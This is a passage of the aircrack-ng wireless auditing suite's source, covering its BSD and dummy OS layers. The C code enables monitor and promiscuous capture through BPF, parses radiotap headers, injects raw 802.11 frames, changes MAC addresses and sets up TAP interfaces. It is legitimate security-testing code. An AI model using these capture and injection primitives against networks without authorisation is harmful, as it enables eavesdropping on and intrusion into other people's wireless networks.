IEEE80211_RADIOTAP_TSFT; i <= IEEE80211_RADIOTAP_EXT; i++) { if (!(present & (1 << i))) continue; switch (i) { case IEEE80211_RADIOTAP_TSFT: body += sizeof(uint64_t); break; case IEEE80211_RADIOTAP_FLAGS: rflags = *((uint8_t*)body); /* fall through */ case IEEE80211_RADIOTAP_RATE: body += sizeof(uint8_t); break; case IEEE80211_RADIOTAP_CHANNEL: if (ri) { ri->ri_channel = 1; } body += sizeof(uint16_t)*2; break; case IEEE80211_RADIOTAP_FHSS: body += sizeof(uint16_t); break; case IEEE80211_RADIOTAP_DBM_ANTSIGNAL: dbm_power = *body++; break; case IEEE80211_RADIOTAP_DBM_ANTNOISE: dbm_power -= *body++; break; case IEEE80211_RADIOTAP_DB_ANTSIGNAL: db_power = *body++; break; case IEEE80211_RADIOTAP_DB_ANTNOISE: db_power -= *body++; break; default: i = IEEE80211_RADIOTAP_EXT+1; break; } } /* set power */ if (ri) { if (dbm_power) ri->ri_power = dbm_power; else ri->ri_power = db_power; } /* XXX cache; drivers won't change this per-packet */ /* check if FCS/CRC is included in packet */ if (po->po_nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) { *plen -= IEEE80211_CRC_LEN; po->po_nocrc = 1; } } static unsigned char *get_80211(struct priv_obsd *po, int *plen, struct rx_info *ri) { struct bpf_hdr *bpfh; struct ieee80211_radiotap_header *rth; void *ptr; unsigned char **data; int *totlen; data = &po->po_next; totlen = &po->po_totlen; assert(*totlen); /* bpf hdr */ bpfh = (struct bpf_hdr*) (*data); assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */ *totlen -= bpfh->bh_hdrlen; /* check if more packets */ if ((int)bpfh->bh_caplen < *totlen) { int tot = bpfh->bh_hdrlen + bpfh->bh_caplen; int offset = BPF_WORDALIGN(tot); *data = (unsigned char*)bpfh + offset; *totlen -= offset - tot; /* take into account align bytes */ } else if ((int)bpfh->bh_caplen > *totlen) abort(); *plen = bpfh->bh_caplen; *totlen -= bpfh->bh_caplen; assert(*totlen >= 0); /* radiotap */ rth = (struct ieee80211_radiotap_header*) ((char*)bpfh + bpfh->bh_hdrlen); get_radiotap_info(po, rth, plen, ri); *plen -= rth->it_len; assert(*plen > 0); /* data */ ptr = (char*)rth + rth->it_len; return ptr; } static int obsd_get_channel(struct wif *wi) { struct priv_obsd *po = wi_priv(wi); struct ieee80211chanreq channel; memset(&channel, 0, sizeof(channel)); strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name)); if(ioctl(po->po_s, SIOCG80211CHANNEL, (caddr_t)&channel) < 0) return -1; return channel.i_channel; } static int obsd_set_channel(struct wif *wi, int chan) { struct priv_obsd *po = wi_priv(wi); struct ieee80211chanreq channel; memset(&channel, 0, sizeof(channel)); strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name)); channel.i_channel = chan; if(ioctl(po->po_s, SIOCS80211CHANNEL, (caddr_t)&channel) < 0) return -1; po->po_chan = chan; return 0; } static int obsd_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri) { struct priv_obsd *po = wi_priv(wi); unsigned char *wh; int plen; assert(len > 0); /* need to read more */ while (po->po_totlen == 0) { po->po_totlen = read(po->po_fd, po->po_buf, sizeof(po->po_buf)); if (po->po_totlen == -1) { po->po_totlen = 0; return -1; } po->po_next = po->po_buf; } /* read 802.11 packet */ wh = get_80211(po, &plen, ri); if (plen > len) plen = len; assert(plen > 0); memcpy(h80211, wh, plen); if(ri && !ri->ri_channel) ri->ri_channel = wi_get_channel(wi); return plen; } static int obsd_write(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti) { struct priv_obsd *po = wi_priv(wi); int rc; /* XXX make use of ti */ if (ti) {} rc = write(po->po_fd, h80211, len); if (rc == -1) return rc; return 0; } static void do_free(struct wif *wi) { assert(wi->wi_priv); free(wi->wi_priv); wi->wi_priv = 0; free(wi); } static void obsd_close(struct wif *wi) { struct priv_obsd *po = wi_priv(wi); close(po->po_fd); close(po->po_s); do_free(wi); } static int do_obsd_open(struct wif *wi, char *iface) { int i; char buf[64]; int fd = -1; struct ifreq ifr; unsigned int dlt = DLT_IEEE802_11_RADIO; int s; unsigned int flags; struct ifmediareq ifmr; int *mwords; struct priv_obsd *po = wi_priv(wi); unsigned int size=sizeof(po->po_buf); /* basic sanity check */ if (strlen(iface) >= sizeof(ifr.ifr_name)) return -1; /* open wifi */ s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) return -1; po->po_s = s; /* set iface up and promisc */ memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) goto close_sock; flags = ifr.ifr_flags; flags |= IFF_UP | IFF_PROMISC; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, IFNAMSIZ); ifr.ifr_flags = flags & 0xffff; if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) goto close_sock; /* monitor mode */ memset(&ifmr, 0, sizeof(ifmr)); strncpy(ifmr.ifm_name, iface, IFNAMSIZ); if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) goto close_sock; assert(ifmr.ifm_count != 0); mwords = (int *)malloc(ifmr.ifm_count * sizeof(int)); if (!mwords) goto close_sock; ifmr.ifm_ulist = mwords; if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) { free(mwords); goto close_sock; } free(mwords); memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, IFNAMSIZ); ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR; if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1) goto close_sock; /* setup ifreq for chan that may be used in future */ strncpy(po->po_ireq.i_name, iface, IFNAMSIZ); /* same for ifreq [mac addr] */ strncpy(po->po_ifr.ifr_name, iface, IFNAMSIZ); /* open bpf */ for(i = 0; i < 256; i++) { snprintf(buf, sizeof(buf), "/dev/bpf%d", i); fd = open(buf, O_RDWR); if(fd < 0) { if(errno != EBUSY) return -1; continue; } else break; } if(fd < 0) goto close_sock; if (ioctl(fd, BIOCSBLEN, &size) < 0) goto close_bpf; strncpy(ifr.ifr_name, iface, IFNAMSIZ); if (ioctl(fd, BIOCSETIF, &ifr) < 0) goto close_bpf; if (ioctl(fd, BIOCSDLT, &dlt) < 0) goto close_bpf; if(ioctl(fd, BIOCPROMISC, NULL) < 0) goto close_bpf; dlt = 1; if (ioctl(fd, BIOCIMMEDIATE, &dlt) == -1) goto close_bpf; return fd; close_sock: close(s); return -1; close_bpf: close(fd); goto close_sock; } static int obsd_fd(struct wif *wi) { struct priv_obsd *po = wi_priv(wi); return po->po_fd; } static int obsd_get_mac(struct wif *wi, unsigned char *mac) { struct ifaddrs *ifa, *p; char *name = wi_get_ifname(wi); int rc = -1; struct sockaddr_dl* sdp; if (getifaddrs(&ifa) == -1) return -1; p = ifa; while (p) { if (p->ifa_addr->sa_family == AF_LINK && strcmp(name, p->ifa_name) == 0) { sdp = (struct sockaddr_dl*) p->ifa_addr; memcpy(mac, sdp->sdl_data + sdp->sdl_nlen, 6); rc = 0; break; } p = p->ifa_next; } freeifaddrs(ifa); return rc; } static int obsd_get_monitor(struct wif *wi) { if (wi) {} /* XXX unused */ /* XXX */ return 0; } static int obsd_get_rate(struct wif *wi) { if (wi) {} /* XXX unused */ /* XXX */ return 1000000; } static int obsd_set_rate(struct wif *wi, int rate) { if (wi || rate) {} /* XXX unused */ /* XXX */ return 0; } static int obsd_set_mac(struct wif *wi, unsigned char *mac) { struct priv_obsd *po = wi_priv(wi); struct ifreq *ifr = &po->po_ifr; ifr->ifr_addr.sa_family = AF_LINK; ifr->ifr_addr.sa_len = 6; memcpy(ifr->ifr_addr.sa_data, mac, 6); return ioctl(po->po_s, SIOCSIFLLADDR, ifr); } static struct wif *obsd_open(char *iface) { struct wif *wi; struct priv_obsd *po; int fd; /* setup wi struct */ wi = wi_alloc(sizeof(*po)); if (!wi) return NULL; wi->wi_read = obsd_read; wi->wi_write = obsd_write; wi->wi_set_channel = obsd_set_channel; wi->wi_get_channel = obsd_get_channel; wi->wi_close = obsd_close; wi->wi_fd = obsd_fd; wi->wi_get_mac = obsd_get_mac; wi->wi_set_mac = obsd_set_mac; wi->wi_get_rate = obsd_get_rate; wi->wi_set_rate = obsd_set_rate; wi->wi_get_monitor = obsd_get_monitor; /* setup iface */ fd = do_obsd_open(wi, iface); if (fd == -1) { do_free(wi); return NULL; } /* setup private state */ po = wi_priv(wi); po->po_fd = fd; return wi; } struct wif *wi_open_osdep(char *iface) { return obsd_open(iface); } int get_battery_state(void) { #if defined(__FreeBSD__) int value; size_t len; len = 1; value = 0; sysctlbyname("hw.acpi.acline", &value, &len, NULL, 0); if (value == 0) { sysctlbyname("hw.acpi.battery.time", &value, &len, NULL, 0); value = value * 60; } else { value = 0; } return( value ); #elif defined(_BSD_SOURCE) struct apm_power_info api; int apmfd; if ((apmfd = open("/dev/apm", O_RDONLY)) < 0) return 0; if (ioctl(apmfd, APM_IOC_GETPOWER, &api) < 0) { close(apmfd); return 0; } close(apmfd); if (api.battery_state == APM_BATT_UNKNOWN || api.battery_state == APM_BATTERY_ABSENT || api.battery_state == APM_BATT_CHARGING || api.ac_state == APM_AC_ON) { return 0; } return ((int)(api.minutes_left))*60; #else return 0; #endif } aircrack-ng-1.2-rc4/src/osdep/dummy.c0000644000000000000000000000222510761053203016117 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for unsupported APIs. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include "osdep.h" struct wif *wi_open_osdep(char *iface) { if (iface) {} /* XXX unused parameter */ errno = EOPNOTSUPP; return NULL; } int get_battery_state(void) { errno = EOPNOTSUPP; return -1; } int create_tap(void) { errno = EOPNOTSUPP; return -1; } aircrack-ng-1.2-rc4/src/osdep/dummy_tap.c0000644000000000000000000000220010761053203016754 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for unsupported APIs. TAP routines * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include "osdep.h" static struct tif *ti_open_dummy(char *iface) { if (iface) {} /* XXX unused parameter */ return NULL; } struct tif *ti_open(char *iface) { return ti_open_dummy(iface); } aircrack-ng-1.2-rc4/src/osdep/openbsd_tap.c0000644000000000000000000001120310761053203017256 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for OpenBSD. TAP routines * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" struct tip_obsd { int to_fd; int to_ioctls; struct ifreq to_ifr; char to_name[MAX_IFACE_NAME]; int to_destroy; }; static int ti_do_open_obsd(struct tif *ti, char *name) { int fd; char *iface = "/dev/tap"; struct stat st; struct tip_obsd *priv = ti_priv(ti); int s; unsigned int flags; struct ifreq *ifr; /* open tap */ if (name) iface = name; else priv->to_destroy = 1; /* we create, we destroy */ fd = open(iface, O_RDWR); if (fd == -1) return -1; /* get name */ if(fstat(fd, &st) == -1) goto err; snprintf(priv->to_name, sizeof(priv->to_name)-1, "%s", devname(st.st_rdev, S_IFCHR)); /* bring iface up */ s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) goto err; priv->to_ioctls = s; /* get flags */ ifr = &priv->to_ifr; memset(ifr, 0, sizeof(*ifr)); snprintf(ifr->ifr_name, sizeof(ifr->ifr_name)-1, "%s", priv->to_name); if (ioctl(s, SIOCGIFFLAGS, ifr) == -1) goto err2; flags = ifr->ifr_flags; /* set flags */ flags |= IFF_UP; ifr->ifr_flags = flags & 0xffff; if (ioctl(s, SIOCSIFFLAGS, ifr) == -1) goto err2; return fd; err: /* XXX destroy */ close(fd); return -1; err2: close(s); goto err; } static void ti_do_free(struct tif *ti) { struct tip_obsd *priv = ti_priv(ti); free(priv); free(ti); } static void ti_destroy(struct tip_obsd *priv) { ioctl(priv->to_ioctls, SIOCIFDESTROY, &priv->to_ifr); } static void ti_close_obsd(struct tif *ti) { struct tip_obsd *priv = ti_priv(ti); if (priv->to_destroy) ti_destroy(priv); close(priv->to_fd); close(priv->to_ioctls); ti_do_free(ti); } static char *ti_name_obsd(struct tif *ti) { struct tip_obsd *priv = ti_priv(ti); return priv->to_name; } static int ti_set_mtu_obsd(struct tif *ti, int mtu) { struct tip_obsd *priv = ti_priv(ti); priv->to_ifr.ifr_mtu = mtu; return ioctl(priv->to_ioctls, SIOCSIFMTU, &priv->to_ifr); } static int ti_set_mac_obsd(struct tif *ti, unsigned char *mac) { struct tip_obsd *priv = ti_priv(ti); struct ifreq *ifr = &priv->to_ifr; ifr->ifr_addr.sa_family = AF_LINK; ifr->ifr_addr.sa_len = 6; memcpy(ifr->ifr_addr.sa_data, mac, 6); return ioctl(priv->to_ioctls, SIOCSIFLLADDR, ifr); } static int ti_set_ip_obsd(struct tif *ti, struct in_addr *ip) { struct tip_obsd *priv = ti_priv(ti); struct ifaliasreq ifra; struct sockaddr_in *s_in; /* assume same size */ memset(&ifra, 0, sizeof(ifra)); strncpy(ifra.ifra_name, priv->to_ifr.ifr_name, IFNAMSIZ); s_in = (struct sockaddr_in *) &ifra.ifra_addr; s_in->sin_family = PF_INET; s_in->sin_addr = *ip; s_in->sin_len = sizeof(*s_in); return ioctl(priv->to_ioctls, SIOCAIFADDR, &ifra); } static int ti_fd_obsd(struct tif *ti) { struct tip_obsd *priv = ti_priv(ti); return priv->to_fd; } static int ti_read_obsd(struct tif *ti, void *buf, int len) { return read(ti_fd(ti), buf, len); } static int ti_write_obsd(struct tif *ti, void *buf, int len) { return write(ti_fd(ti), buf, len); } static struct tif *ti_open_obsd(char *iface) { struct tif *ti; struct tip_obsd *priv; int fd; /* setup ti struct */ ti = ti_alloc(sizeof(*priv)); if (!ti) return NULL; ti->ti_name = ti_name_obsd; ti->ti_set_mtu = ti_set_mtu_obsd; ti->ti_close = ti_close_obsd; ti->ti_fd = ti_fd_obsd; ti->ti_read = ti_read_obsd; ti->ti_write = ti_write_obsd; ti->ti_set_mac = ti_set_mac_obsd; ti->ti_set_ip = ti_set_ip_obsd; /* setup iface */ fd = ti_do_open_obsd(ti, iface); if (fd == -1) { ti_do_free(ti); return NULL; } /* setup private state */ priv = ti_priv(ti); priv->to_fd = fd; return ti; } struct tif *ti_open(char *iface) { return ti_open_obsd(iface); } aircrack-ng-1.2-rc4/src/osdep/freebsd.c0000644000000000000000000003456012630446153016414 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for FreeBSD. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #ifdef __DragonFly__ #include #include #include #else #include #include #include #endif #include #include #include #include #include #include #include #include "osdep.h" struct priv_fbsd { /* iface */ int pf_fd; /* rx */ int pf_nocrc; /* tx */ unsigned char pf_buf[4096]; unsigned char *pf_next; int pf_totlen; struct ieee80211_bpf_params pf_txparams; /* setchan */ int pf_s; struct ifreq pf_ifr; struct ieee80211req pf_ireq; int pf_chan; }; /* from ifconfig */ static __inline int mapgsm(u_int freq, u_int flags) { freq *= 10; if (flags & IEEE80211_CHAN_QUARTER) freq += 5; else if (flags & IEEE80211_CHAN_HALF) freq += 10; else freq += 20; /* NB: there is no 907/20 wide but leave room */ return (freq - 906*10) / 5; } static __inline int mappsb(u_int freq) { return 37 + ((freq * 10) + ((freq % 5) == 2 ? 5 : 0) - 49400) / 5; } /* * Convert MHz frequency to IEEE channel number. */ static u_int ieee80211_mhz2ieee(u_int freq, u_int flags) { if ((flags & IEEE80211_CHAN_GSM) || (907 <= freq && freq <= 922)) return mapgsm(freq, flags); if (freq == 2484) return 14; if (freq < 2484) return (freq - 2407) / 5; if (freq < 5000) { if (flags & (IEEE80211_CHAN_HALF|IEEE80211_CHAN_QUARTER)) return mappsb(freq); else if (freq > 4900) return (freq - 4000) / 5; else return 15 + ((freq - 2512) / 20); } return (freq - 5000) / 5; } /* end of ifconfig */ static void get_radiotap_info(struct priv_fbsd *pf, struct ieee80211_radiotap_header *rth, int *plen, struct rx_info *ri) { uint32_t present; uint8_t rflags = 0; int i; unsigned char *body = (unsigned char*) (rth+1); int dbm_power = 0, db_power = 0; /* reset control info */ if (ri) memset(ri, 0, sizeof(*ri)); /* get info */ present = le32toh(rth->it_present); for (i = IEEE80211_RADIOTAP_TSFT; i <= IEEE80211_RADIOTAP_EXT; i++) { if (!(present & (1 << i))) continue; switch (i) { case IEEE80211_RADIOTAP_TSFT: body += sizeof(uint64_t); break; case IEEE80211_RADIOTAP_FLAGS: rflags = *((uint8_t*)body); /* fall through */ case IEEE80211_RADIOTAP_RATE: body += sizeof(uint8_t); break; case IEEE80211_RADIOTAP_CHANNEL: if (ri) { uint16_t *p = (uint16_t*) body; int c = ieee80211_mhz2ieee(*p, *(p+1)); ri->ri_channel = c; } body += sizeof(uint16_t)*2; break; case IEEE80211_RADIOTAP_FHSS: body += sizeof(uint16_t); break; case IEEE80211_RADIOTAP_DBM_ANTSIGNAL: dbm_power = *body++; break; case IEEE80211_RADIOTAP_DBM_ANTNOISE: dbm_power -= *body++; break; case IEEE80211_RADIOTAP_DB_ANTSIGNAL: db_power = *body++; break; case IEEE80211_RADIOTAP_DB_ANTNOISE: db_power -= *body++; break; default: i = IEEE80211_RADIOTAP_EXT+1; break; } } /* set power */ if (ri) { if (dbm_power) ri->ri_power = dbm_power; else ri->ri_power = db_power; } /* XXX cache; drivers won't change this per-packet */ /* check if FCS/CRC is included in packet */ if (pf->pf_nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) { *plen -= IEEE80211_CRC_LEN; pf->pf_nocrc = 1; } } static unsigned char *get_80211(struct priv_fbsd *pf, int *plen, struct rx_info *ri) { struct bpf_hdr *bpfh; struct ieee80211_radiotap_header *rth; void *ptr; unsigned char **data; int *totlen; data = &pf->pf_next; totlen = &pf->pf_totlen; assert(*totlen); /* bpf hdr */ bpfh = (struct bpf_hdr*) (*data); assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */ *totlen -= bpfh->bh_hdrlen; /* check if more packets */ if ((int)bpfh->bh_caplen < *totlen) { int tot = bpfh->bh_hdrlen + bpfh->bh_caplen; int offset = BPF_WORDALIGN(tot); *data = (unsigned char*)bpfh + offset; *totlen -= offset - tot; /* take into account align bytes */ } else if ((int)bpfh->bh_caplen > *totlen) abort(); *plen = bpfh->bh_caplen; *totlen -= bpfh->bh_caplen; assert(*totlen >= 0); /* radiotap */ rth = (struct ieee80211_radiotap_header*) ((char*)bpfh + bpfh->bh_hdrlen); get_radiotap_info(pf, rth, plen, ri); *plen -= rth->it_len; assert(*plen > 0); /* data */ ptr = (char*)rth + rth->it_len; return ptr; } static int fbsd_get_channel(struct wif *wi) { struct priv_fbsd *pf = wi_priv(wi); if(ioctl(pf->pf_s, SIOCG80211, &pf->pf_ireq) != 0) return -1; return pf->pf_ireq.i_val; } static int fbsd_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri) { struct priv_fbsd *pf = wi_priv(wi); unsigned char *wh; int plen; assert(len > 0); /* need to read more */ if (pf->pf_totlen == 0) { pf->pf_totlen = read(pf->pf_fd, pf->pf_buf, sizeof(pf->pf_buf)); if (pf->pf_totlen == -1) { pf->pf_totlen = 0; return -1; } pf->pf_next = pf->pf_buf; } /* read 802.11 packet */ wh = get_80211(pf, &plen, ri); if (plen > len) plen = len; assert(plen > 0); memcpy(h80211, wh, plen); if(ri && !ri->ri_channel) ri->ri_channel = wi_get_channel(wi); return plen; } static int fbsd_write(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti) { struct iovec iov[2]; struct priv_fbsd *pf = wi_priv(wi); int rc; /* XXX make use of ti */ if (ti) {} iov[0].iov_base = &pf->pf_txparams; iov[0].iov_len = pf->pf_txparams.ibp_len; iov[1].iov_base = h80211; iov[1].iov_len = len; rc = writev(pf->pf_fd, iov, 2); if (rc == -1) return rc; if (rc < (int) iov[0].iov_len) return 0; return rc - iov[0].iov_len; } static int fbsd_set_channel(struct wif *wi, int chan) { struct priv_fbsd *pf = wi_priv(wi); pf->pf_ireq.i_val = chan; if( ioctl(pf->pf_s, SIOCS80211, &pf->pf_ireq) != 0 ) return -1; pf->pf_chan = chan; return 0; } static void do_free(struct wif *wi) { assert(wi->wi_priv); free(wi->wi_priv); wi->wi_priv = 0; free(wi); } static void fbsd_close(struct wif *wi) { struct priv_fbsd *pf = wi_priv(wi); close(pf->pf_fd); close(pf->pf_s); do_free(wi); } static int do_fbsd_open(struct wif *wi, char *iface) { int i; char buf[64]; int fd = -1; struct ifreq ifr; unsigned int dlt = DLT_IEEE802_11_RADIO; int s; unsigned int flags; struct ifmediareq ifmr; int *mwords; struct priv_fbsd *pf = wi_priv(wi); /* basic sanity check */ if (strlen(iface) >= sizeof(ifr.ifr_name)) return -1; /* open wifi */ s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) return -1; pf->pf_s = s; /* set iface up and promisc */ memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, iface); if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) goto close_sock; flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16); flags |= IFF_UP | IFF_PPROMISC; memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, iface); ifr.ifr_flags = flags & 0xffff; ifr.ifr_flagshigh = flags >> 16; if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) goto close_sock; /* monitor mode */ memset(&ifmr, 0, sizeof(ifmr)); strcpy(ifmr.ifm_name, iface); if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) goto close_sock; assert(ifmr.ifm_count != 0); mwords = (int *)malloc(ifmr.ifm_count * sizeof(int)); if (!mwords) goto close_sock; ifmr.ifm_ulist = mwords; if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) { free(mwords); goto close_sock; } free(mwords); memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, iface); ifr.ifr_media = ifmr.ifm_current; if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1) goto close_sock; /* setup ifreq for chan that may be used in future */ strcpy(pf->pf_ireq.i_name, iface); pf->pf_ireq.i_type = IEEE80211_IOC_CHANNEL; /* same for ifreq [mac addr] */ strcpy(pf->pf_ifr.ifr_name, iface); /* open bpf */ for(i = 0; i < 256; i++) { sprintf(buf, "/dev/bpf%d", i); fd = open(buf, O_RDWR); if(fd < 0) { if(errno != EBUSY) return -1; continue; } else break; } if(fd < 0) goto close_sock; strcpy(ifr.ifr_name, iface); if(ioctl(fd, BIOCSETIF, &ifr) < 0) goto close_bpf; if (ioctl(fd, BIOCSDLT, &dlt) < 0) goto close_bpf; dlt = 1; if (ioctl(fd, BIOCIMMEDIATE, &dlt) == -1) goto close_bpf; return fd; close_sock: close(s); return -1; close_bpf: close(fd); goto close_sock; } static int fbsd_fd(struct wif *wi) { struct priv_fbsd *pf = wi_priv(wi); return pf->pf_fd; } static int fbsd_get_mac(struct wif *wi, unsigned char *mac) { struct ifaddrs *ifa, *p; char *name = wi_get_ifname(wi); int rc = -1; struct sockaddr_dl* sdp; if (getifaddrs(&ifa) == -1) return -1; p = ifa; while (p) { if (p->ifa_addr->sa_family == AF_LINK && strcmp(name, p->ifa_name) == 0) { sdp = (struct sockaddr_dl*) p->ifa_addr; memcpy(mac, sdp->sdl_data + sdp->sdl_nlen, 6); rc = 0; break; } p = p->ifa_next; } freeifaddrs(ifa); return rc; } static int fbsd_get_monitor(struct wif *wi) { if (wi) {} /* XXX unused */ /* XXX */ return 0; } static int fbsd_get_rate(struct wif *wi) { if (wi) {} /* XXX unused */ /* XXX */ return 1000000; } static int fbsd_set_rate(struct wif *wi, int rate) { if (wi || rate) {} /* XXX unused */ /* XXX */ return 0; } static int fbsd_set_mac(struct wif *wi, unsigned char *mac) { struct priv_fbsd *priv = wi_priv(wi); struct ifreq *ifr = &priv->pf_ifr; ifr->ifr_addr.sa_family = AF_LINK; ifr->ifr_addr.sa_len = 6; memcpy(ifr->ifr_addr.sa_data, mac, 6); return ioctl(priv->pf_s, SIOCSIFLLADDR, ifr); } static int fbsd_set_mtu(struct wif *wi, int mtu) { struct priv_fbsd *priv = wi_priv(wi); struct ifreq *ifr = &priv->pf_ifr; memset(ifr, 0, sizeof(struct ifreq)); strncpy(ifr->ifr_name, wi_get_ifname(wi), sizeof(ifr->ifr_name)); ifr->ifr_mtu = mtu; if(ioctl(priv->pf_s, SIOCSIFMTU, ifr) < 0) return -1; return 0; } static int fbsd_get_mtu(struct wif *wi) { struct priv_fbsd *priv = wi_priv(wi); struct ifreq ifr; memset(&ifr, 0, sizeof(struct ifreq)); ifr.ifr_addr.sa_family = AF_INET; strncpy(ifr.ifr_name, wi_get_ifname(wi), sizeof(ifr.ifr_name)); if(ioctl(priv->pf_s, SIOCGIFMTU, (caddr_t)&ifr) < 0) return -1; return ifr.ifr_mtu; } static struct wif *fbsd_open(char *iface) { struct wif *wi; struct priv_fbsd *pf; int fd; /* setup wi struct */ wi = wi_alloc(sizeof(*pf)); if (!wi) return NULL; wi->wi_read = fbsd_read; wi->wi_write = fbsd_write; wi->wi_set_channel = fbsd_set_channel; wi->wi_get_channel = fbsd_get_channel; wi->wi_close = fbsd_close; wi->wi_fd = fbsd_fd; wi->wi_get_mac = fbsd_get_mac; wi->wi_set_mac = fbsd_set_mac; wi->wi_get_rate = fbsd_get_rate; wi->wi_set_rate = fbsd_set_rate; wi->wi_get_monitor = fbsd_get_monitor; wi->wi_get_mtu = fbsd_get_mtu; wi->wi_set_mtu = fbsd_set_mtu; /* setup iface */ fd = do_fbsd_open(wi, iface); if (fd == -1) { do_free(wi); return NULL; } /* setup private state */ pf = wi_priv(wi); pf->pf_fd = fd; pf->pf_txparams.ibp_vers = IEEE80211_BPF_VERSION; pf->pf_txparams.ibp_len = sizeof(struct ieee80211_bpf_params) - 6; pf->pf_txparams.ibp_rate0 = 2; /* 1 MB/s XXX */ pf->pf_txparams.ibp_try0 = 1; /* no retransmits */ pf->pf_txparams.ibp_rate1 = 2; /* 1 MB/s XXX */ pf->pf_txparams.ibp_try1 = 1; /* no retransmits */ pf->pf_txparams.ibp_flags = IEEE80211_BPF_NOACK; pf->pf_txparams.ibp_power = 100; /* nominal max */ pf->pf_txparams.ibp_pri = WME_AC_VO; /* high priority */ return wi; } struct wif *wi_open_osdep(char *iface) { return fbsd_open(iface); } int get_battery_state(void) { #if defined(__FreeBSD__) || defined(__FreeBSD_kernel__) int value; size_t len; len = 4; value = 0; sysctlbyname("hw.acpi.acline", &value, &len, NULL, 0); if (value == 0) { sysctlbyname("hw.acpi.battery.time", &value, &len, NULL, 0); value = value * 60; } else { value = 0; } return( value ); #elif defined(_BSD_SOURCE) struct apm_power_info api; int apmfd; if ((apmfd = open("/dev/apm", O_RDONLY)) < 0) return 0; if (ioctl(apmfd, APM_IOC_GETPOWER, &api) < 0) { close(apmfd); return 0; } close(apmfd); if (api.battery_state == APM_BATT_UNKNOWN || api.battery_state == APM_BATTERY_ABSENT || api.battery_state == APM_BATT_CHARGING || api.ac_state == APM_AC_ON) { return 0; } return ((int)(api.minutes_left))*60; #else return 0; #endif } aircrack-ng-1.2-rc4/src/osdep/darwin.c0000644000000000000000000000231111321204141016234 0ustar rootroot /* * Copyright (c) 2009, Kyle Fuller , based upon * freebsd.c by Andrea Bittau * * OS dependent API for Darwin. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include "osdep.h" struct wif *wi_open_osdep(char *iface) { 